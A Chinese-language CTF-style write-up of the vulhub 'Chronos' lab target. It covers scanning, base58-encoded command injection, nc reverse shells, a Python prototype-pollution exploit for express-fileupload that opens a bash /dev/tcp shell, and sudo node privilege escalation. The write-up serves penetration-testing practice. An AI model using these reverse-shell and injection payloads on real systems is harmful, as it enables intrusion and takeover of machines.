【打靶】vulhub打靶复现系列3---Chronos
【打靶】vulhub打靶复现系列3---Chronos
一、主机探测
结合之前的方法(arp探测、ping检测),因为我们的靶机和攻击机都在第二层,所以打靶时候我们更依赖arp协议



tips:我在运行期间发现,netdiscover窗口没关闭的前提下是可以一直检测的,也就是说在探活期间有新主机加入可以被立即识别到。
二、端口扫描
nmap -p- -sV -T4 192.168.56.104

ssh可以爆破(hydra)
http直接去访问(先看下80端口下的页面)
三、撕口子--功能点测试

发现页面没有什么东西,两种思路:
- 1、爬站
- 2、查看源码查询调用隐藏接口和调用脚本等
发现其源码中有调用一个脚本

发现进行了编码
通过cyberchef美化一下,地址CyberChef (gchq.github.io)

发现有内容进行过加密,虽说cyberchef可以解,但比这个更有意义的是其调用的脚本(未进行编码加密等)
四、尝试利用——查看源码

去改host文件,将192.168.56.104定向到chronos.local
注:chronos恰好是本靶场的主机名,host文件win的在C盘C:\Windows\System32\drivers\etc\hosts,kali在/etc/hosts

ping一下

配置成功
再次访问网页

发现多出下面这行uts时间
抓包观察发现是下面这个数据包的响应包

当我修改了format后的内容后无法正常回显,因此我需要知道后面的内容是什么编码(经验判断是base64,但不重要)
直接去cyberchef里的magic模块去撞就行

可以猜测出是base58编码
而此时观察请求包会发现很像是linux的data命令
![]()
'+Today is %A, %B %d, %Y %H:%M:%S.'
六、验证猜想——配合终端进行验证
尝试在kali上验证猜想

确认了猜想和其运行是一致的
这里是调用了系统指令进行回显的.
因此!!!思路就有了:是否可以去尝试其他的指令来对系统进行攻击呢?
那我执行指令的前提就是原有的指令正常执行的情况下附带或追加个指令进去
方法有
; | || && 这里需要说明双管道符的运行原则是前面的指令错误时候运行后面的指令;双&&符号恰好相反(前面为真才能执行下一个指令)
因此可以尝试在前面输入准确的情况下执行后面的指令,即用&&尝试,需要注意的是需要进行base58编码才行


成功验证了猜想
七、进一步利用--尝试nc反弹
先去查找有无nc


存在nc,下一步反弹shell


返回包看着貌似不成功但攻击机却接受到了反弹过来的监听

八、nc利用——判断有无-e参数
直接指令判断可以执行就说明有-e参数
在nc命令中,-e参数用于指定要在连接建立后执行的命令。它允许用户在建立网络连接后,将输入和输出重定向到指定的命令,从而实现远程执行命令的功能。
使用-e参数的语法如下:
nc -e
其中,<command>是要执行的命令,<host>是目标主机的IP地址或域名,<port>是目标主机的端口号。
使用-e参数时,nc命令会在连接建立后立即执行指定的命令,并将连接的输入和输出重定向到该命令。这使得用户可以在远程主机上执行命令,并与其交互,就像在本地终端上一样。
输入指令
nc 192.168.56.103 4444 -e /bin/bash
对其进行编码并执行(注意,这里在kali机上需要重新启动监听)

发现没有回连,采用之前的nc串联来代替-e参数反弹shell
九、精化&骚操作——nc串联获取shell
nc 192.168.56.103 4444 | /bin/bash | nc 192.168.56.103 5555
这里注意:尽量前后都加个空格吧

十、主机信息收集

发现user.txt这个文件需要提权
十一、(常规)提权
# linux提权方法 ## 方法一、利用内核漏洞:先name -a查看内核版本,再去查询该版本漏洞进行攻击 ## 方法二、suid权限配置错误导致提权,suid命令查看超管用户 ## 方法三、利用sudo命令,有些用户可以使用sudo命令进而达到提权的目的但很不幸,这些提权手段都不适用
十二、代码审计
跳到目录下

发现是js写的服务端,这种情况少见(据说少见)
nodejs是基于JavaScript的已有的框架和库,通过了解socket、express等库经常用来开发web
开始审计package.json
发现各个封装好的包/库

审计app.js
这是重定向的url等

base58解码,拼接到cmd的代码

判断agent的字段内容

在agent是chronos时候是正常回显,其他情况返回禁止,有了这段内容的解读之后去尝试一波

成功验证代审的分析结果
其中当agent==chronos时候进一步的判断(下一个if语句)表示

也对应上了之前nc返连的时候的返回包内容,注意这里只是返回这么个内容但却没有阻断这些指令
翻阅过后没有什么显著的利用点,继续深挖
十三、代码审计深挖——找利用点撕口子


发现了未扫出来的8080端口,但这个端口只对8080开放,因此我nmap没扫出来
看来只能指望调用的模块内(express和express-fileupload)存在漏洞了

发现存在漏洞,赶紧索一眼,但这里没给到源码和poc之类的信息,通过科学上网访问到
Access denied | www.bleepingcomputer.com used Cloudflare to restrict access

通过下面的参考链接来到:p6.is(现在让网页篡改了)

意思是想要利用这个漏洞就必须开启processNested的方法,好在我们的环境中恰好是开着的

通过上面的文章找到可利用的简化exp
import requestscmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})# execute command
requests.get('http://p6.is:7777')
只需要将这段代码中的部分进行替换,替换规则如下如下
p6.is/8888 替换为 kali攻击机的ip/监听端口 p6.is:7777 替换为 目标ip:目标web应用程序运行端口
将这段代码复制到kali中,替换内容后编写为py文件,修改后的内容如下;
import requestscmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/8888 0>&1"'# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})# execute command
requests.get('http://127.0.0.1:8080')
写好文件之后kali攻击机开启web服务
python3 -m http.server 80
通过反弹shell将目录移动到/tmp下(因为一般来讲tmp好写入文件)
成功上传exp.py

下一步运行就行
十四、getshell——获取第一个flag

但是获取的仅仅是上面的imara的shell
去看下那个txt能不能看

成功!获取到一个flag了
十五、乘胜追击——获取root用户下的flag
根据靶机描述,root下是有一个flag的,但是我们现在已有的权限不足以去访问

十六、提权——利用sudo下可调用的node
还是之前说的三种方法先试一下,发现可以sudo

意思是不需要输入密码的前提下执行npm和node指令
sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'
这段代码是通过node指令提权的代码(网上找的)
意思是通过调用node--》生成子进程---》调用root权限的shell

提权成功

打靶总结

相关文章:
【打靶】vulhub打靶复现系列3---Chronos
【打靶】vulhub打靶复现系列3---Chronos 一、主机探测 结合之前的方法(arp探测、ping检测),因为我们的靶机和攻击机都在第二层,所以打靶时候我们更依赖arp协议 tips:我在运行期间发现,netdiscover窗口没关…...
基于Java的新闻发布管理系统设计与实现(源码+lw+部署文档+讲解等)
文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序(小蔡coding) 代码参考数据库参考源码获取 前言 💗博主介绍:✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&am…...
CRM系统如何选型?
不少企业都想要使用CRM客户管理系统,但往往在CRM选型阶段就被折腾的五迷三道。CRM系统选型难在哪里?下面我们从企业用户和CRM厂商两方面进行分析,来说说关于CRM系统选型的那些事。 企业自身原因: 1、认知偏差 看到一个观点&…...
山东大学开发可解释深度学习算法 RetroExplainer,4 步识别有机物的逆合成路线
逆合成旨在找到一系列合适的反应物,以高效合成目标产物。这是解决有机合成路线的重要方法,也是有机合成路线设计的最简单、最基本的方法。 早期的逆合成研究多依赖编程,随后这一工作被 AI 接替。然而,现有的逆合成方法多关注单步逆…...
使用antv x6注册vue组件报错,TypeError: Object(...) is not a function (teleport.js:3:23)
typeError: Object(…) is not a function at …/…/…/node_modules/.pnpm/antvx6-vue-shape2.1.1_antvx62.15.2vue2.7.10/node_modules/antv/x6-vue-shape/es/teleport.js (teleport.js:3:23) 点击定位到报错的位置为 reactive应该是vue 2.7.*版本才有的 由于项目在index.ht…...
Python开发利器KeymouseGo,开源的就是香
1、介绍 在日常工作中,经常会遇到一些重复性的工作,不管是点击某个按钮、写文字,打印,还是复制粘贴拷贝资料之类的,需要进行大量的重复操作。按键精灵大家想必都听说过,传统的方式,可以下载个按…...
什么是 Node.js
目标 什么是 Node.js,有什么用,为何能独立执行 JS 代码,演示安装和执行 JS 文件内代码 讲解 Node.js 是一个独立的 JavaScript 运行环境,能独立执行 JS 代码,因为这个特点,它可以用来编写服务器后端的应用…...
08-flex布局
flex布局 1.定位布局- 定位流分类1.1.静态定位1.2.相对定位1.3.绝对定位1.4.固定定位1.5.粘滞定位1.6.z-index - 1.1.静态定位( Static positioning)- 1.2.什么是相对定位?( Relative positioning )- 相对定位注意点- 相对定位应…...
HTML5和HTML的区别
HTML5的概念分为广义和狭义两种。 狭义的概念HTML5是指HTML语言的第5个版本,而HTML是指5之前的版本。 广义的概念HTML5是指由HTML5、CSS3、JavaScript所组成的开发环境。而HTML是指HTML语言本身。 1、HTML5与HTML狭…...
【Amazon】跨AWS账号级别迁移弹性IP地址操作流程
文章目录 一、实验背景二、适用场景三、实验目标四、实验说明五、实验步骤1. 登录AWS控制台[源账户]2. 启用弹性 IP 地址转移[源账户]3. 接受转移的弹性 IP 地址[目标账户]4. <可选>禁止转移弹性IP地址[源账户] 六、结果验证七、注意事项八、附录1. 多弹性IP地址多AWS账号…...
2023-python pdf转换为PPT代码
from pdf2image import convert_from_path from pptx import Presentation from pptx.util import Inches import os# 用户输入PDF文件路径 pdf_file_path input("请输入PDF文件的路径:")# 提取文件名(不包括扩展名)作为PPT文件名…...
学会场景提问,让AI“小助手”为我所用
文章目录 一、故事叙述提问举例 二、产品描述提问举例 三、报告撰写提问举例 四、邮件和信件撰写提问举例 五、新间稿和公告撰写提问举例 六、学术论文和专业文章撰写提问举例 我们知道AI技术不仅能够自动生成文章和内容,还可以根据我们的需求提供创意灵感和解决问题…...
前端,CSS,背景颜色跟随轮播图片改变而改变(附源码)
首先看效果! 比如轮播图时红色,那么背景的底色也是红色,轮播图时黄色,背景的底色也是黄色,这就是根据轮播图的图片切换,而改变背景颜色随轮播图颜色一致 话不多说,直接上代码!非常简…...
对文件夹内的所有图像进行随机调整对比度和应用高斯滤波
import os import random from PIL import Image, ImageEnhance, ImageFilter# 输入和输出文件夹路径 input_folder rE:\深度学习数据集 output_folder rE:\深度学习数据集\对比度、高斯滤波# 确保输出文件夹存在,如果不存在则创建 if not os.path.exists(output_…...
ios上架上传构建版本的windows工具
ios上架的必要步骤,是将打包好的二进制ipa文件,上传到app store的构建版本里,苹果并没有提供上传构建版本的工具,这里我介绍下windows下上传构建版本的方案。 下面说下上传的基本步骤: 第一步,上传前要先…...
arcgis js api 4.x加载geoserver发布的地方坐标系(自定义坐标系)的wms服务
问题描述:之前研究过arcgis js api 4.x加载arcgis server 发布的地方坐标系的wms服务,后来研究出来能正常加载了,想了解的可以看我之前的博客。但是一直困于加载geoserver发布的地方坐标系的wms服务,一直都是用的WMSLayer这个调用…...
人工智能的发展方向:探索智能未来的无限可能
原创 | 文 BFT机器人 人工智能,简称AI,是一门专注于研究计算机如何能像人类一样思考、学习和解决问题的科学。它的创造初衷是构建一个智能系统,能模仿、模拟甚至实现人工智能的各种功能和行为,随着科技的持续进步,人工…...
【23秋软工第7周作业】项目选题
一、如何提出靠谱的项目建议,参见邹欣老师的博客:http://www.cnblogs.com/xinz/archive/2010/12/01/1893323.html 二、选题来源指导: 有创意和独创性的小项目 跟智能数据处理相关 候选题目可以参见课程主页 三、具体汇报任务: …...
谷歌云的利润增长才刚刚开始
来源:猛兽财经 作者:猛兽财经 总结: (1)自从Google Cloud(谷歌云)今年开始盈利以来,投资者都在怀疑这种盈利能力能否持续下去。 (2)虽然微软Azure目前在全球的人工智能竞…...
【Golang】简记操作:Centos安装、卸载、升级Golang运行环境
目录 安装 1、根据实际需求选择合适的golang版本 如下图,选择合适的版本,右键复制链接 2、在Centos选择合适的目录下载golang的源文件 3、解压golang的源文件,解压完成即可执行go命令 4、设置golang的全局环境变量(/etc/pr…...
RestClient
什么是RestClient RestClient 是 Elasticsearch 官方提供的 Java 低级 REST 客户端,它允许HTTP与Elasticsearch 集群通信,而无需处理 JSON 序列化/反序列化等底层细节。它是 Elasticsearch Java API 客户端的基础。 RestClient 主要特点 轻量级ÿ…...
golang循环变量捕获问题
在 Go 语言中,当在循环中启动协程(goroutine)时,如果在协程闭包中直接引用循环变量,可能会遇到一个常见的陷阱 - 循环变量捕获问题。让我详细解释一下: 问题背景 看这个代码片段: fo…...
从零开始打造 OpenSTLinux 6.6 Yocto 系统(基于STM32CubeMX)(九)
设备树移植 和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 源码修改及编译 修改arch/arm/boot/dts/st/Makefile,新增设备树编译 stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...
Psychopy音频的使用
Psychopy音频的使用 本文主要解决以下问题: 指定音频引擎与设备;播放音频文件 本文所使用的环境: Python3.10 numpy2.2.6 psychopy2025.1.1 psychtoolbox3.0.19.14 一、音频配置 Psychopy文档链接为Sound - for audio playback — Psy…...
微服务商城-商品微服务
数据表 CREATE TABLE product (id bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 商品id,cateid smallint(6) UNSIGNED NOT NULL DEFAULT 0 COMMENT 类别Id,name varchar(100) NOT NULL DEFAULT COMMENT 商品名称,subtitle varchar(200) NOT NULL DEFAULT COMMENT 商…...
select、poll、epoll 与 Reactor 模式
在高并发网络编程领域,高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表,以及基于它们实现的 Reactor 模式,为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。 一、I…...
什么是Ansible Jinja2
理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具,可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板,允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板,并通…...
【从零开始学习JVM | 第四篇】类加载器和双亲委派机制(高频面试题)
前言: 双亲委派机制对于面试这块来说非常重要,在实际开发中也是经常遇见需要打破双亲委派的需求,今天我们一起来探索一下什么是双亲委派机制,在此之前我们先介绍一下类的加载器。 目录 编辑 前言: 类加载器 1. …...
论文阅读笔记——Muffin: Testing Deep Learning Libraries via Neural Architecture Fuzzing
Muffin 论文 现有方法 CRADLE 和 LEMON,依赖模型推理阶段输出进行差分测试,但在训练阶段是不可行的,因为训练阶段直到最后才有固定输出,中间过程是不断变化的。API 库覆盖低,因为各个 API 都是在各种具体场景下使用。…...
DBLP数据库是什么?
DBLP(Digital Bibliography & Library Project)Computer Science Bibliography是全球著名的计算机科学出版物的开放书目数据库。DBLP所收录的期刊和会议论文质量较高,数据库文献更新速度很快,很好地反映了国际计算机科学学术研…...
